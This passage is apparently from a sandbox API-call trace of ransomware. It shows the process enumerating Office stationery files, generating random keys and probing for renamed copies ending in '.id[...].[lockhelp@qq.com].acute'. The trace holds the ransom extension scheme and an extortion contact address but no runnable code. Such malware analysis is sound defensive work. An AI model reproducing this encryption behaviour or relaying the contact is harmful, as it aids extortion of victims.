files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.968] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.968] ResetEvent (hEvent=0x2d4) returned 1 [0272.968] SetEvent (hEvent=0x2d8) returned 1 [0272.968] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.968] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4222) returned 1 [0272.968] CloseHandle (hObject=0x368) returned 1 [0272.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0272.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.969] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.970] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.972] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.972] ResetEvent (hEvent=0x2d4) returned 1 [0272.972] SetEvent (hEvent=0x2d8) returned 1 [0272.972] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.972] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4192) returned 1 [0272.972] CloseHandle (hObject=0x368) returned 1 [0272.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0272.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.972] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.974] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.975] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.976] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.977] ResetEvent (hEvent=0x2d4) returned 1 [0272.977] SetEvent (hEvent=0x2d8) returned 1 [0272.977] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.977] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6381) returned 1 [0272.977] CloseHandle (hObject=0x368) returned 1 [0272.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0272.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.977] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.978] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.980] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.982] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.982] ResetEvent (hEvent=0x2d4) returned 1 [0272.982] SetEvent (hEvent=0x2d8) returned 1 [0272.982] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.982] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5115) returned 1 [0272.982] CloseHandle (hObject=0x368) returned 1 [0272.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0272.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.983] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.984] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.985] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.987] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.988] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.989] ResetEvent (hEvent=0x2d4) returned 1 [0272.989] SetEvent (hEvent=0x2d8) returned 1 [0272.989] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.989] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=37316) returned 1 [0272.989] CloseHandle (hObject=0x368) returned 1 [0272.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0272.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.989] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.991] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.991] ResetEvent (hEvent=0x2d4) returned 1 [0272.991] SetEvent (hEvent=0x2d8) returned 1 [0272.991] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.992] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4734) returned 1 [0272.992] CloseHandle (hObject=0x368) returned 1 [0272.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0272.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.992] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.992] ResetEvent (hEvent=0x2d4) returned 1 [0272.992] SetEvent (hEvent=0x2d8) returned 1 [0272.993] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.993] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=81292) returned 1 [0272.993] CloseHandle (hObject=0x368) returned 1 [0272.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0272.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.994] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.995] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.995] ResetEvent (hEvent=0x2d4) returned 1 [0272.995] SetEvent (hEvent=0x2d8) returned 1 [0272.995] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.996] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=232) returned 1 [0272.996] CloseHandle (hObject=0x368) returned 1 [0272.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0272.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.996] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.996] ResetEvent (hEvent=0x2d4) returned 1 [0272.996] SetEvent (hEvent=0x2d8) returned 1 [0272.996] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.997] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10569) returned 1 [0272.997] CloseHandle (hObject=0x368) returned 1 [0272.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0272.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.997] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.998] ResetEvent (hEvent=0x2d4) returned 1 [0272.998] SetEvent (hEvent=0x2d8) returned 1 [0272.998] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.998] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=230) returned 1 [0272.998] CloseHandle (hObject=0x368) returned 1 [0272.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0272.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.998] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.999] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.001] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.001] ResetEvent (hEvent=0x2d4) returned 1 [0273.002] SetEvent (hEvent=0x2d8) returned 1 [0273.002] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.002] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3650) returned 1 [0273.002] CloseHandle (hObject=0x368) returned 1 [0273.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0273.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.005] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.006] ResetEvent (hEvent=0x2d4) returned 1 [0273.006] SetEvent (hEvent=0x2d8) returned 1 [0273.006] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.006] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4638) returned 1 [0273.006] CloseHandle (hObject=0x368) returned 1 [0273.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0273.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.006] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.010] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.010] ResetEvent (hEvent=0x2d4) returned 1 [0273.010] SetEvent (hEvent=0x2d8) returned 1 [0273.010] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.011] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3168) returned 1 [0273.011] CloseHandle (hObject=0x368) returned 1 [0273.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0273.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.012] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.012] ResetEvent (hEvent=0x2d4) returned 1 [0273.012] SetEvent (hEvent=0x2d8) returned 1 [0273.012] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.012] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=15063) returned 1 [0273.012] CloseHandle (hObject=0x368) returned 1 [0273.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0273.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.013] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.102] ResetEvent (hEvent=0x2d4) returned 1 [0273.102] SetEvent (hEvent=0x2d8) returned 1 [0273.102] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), 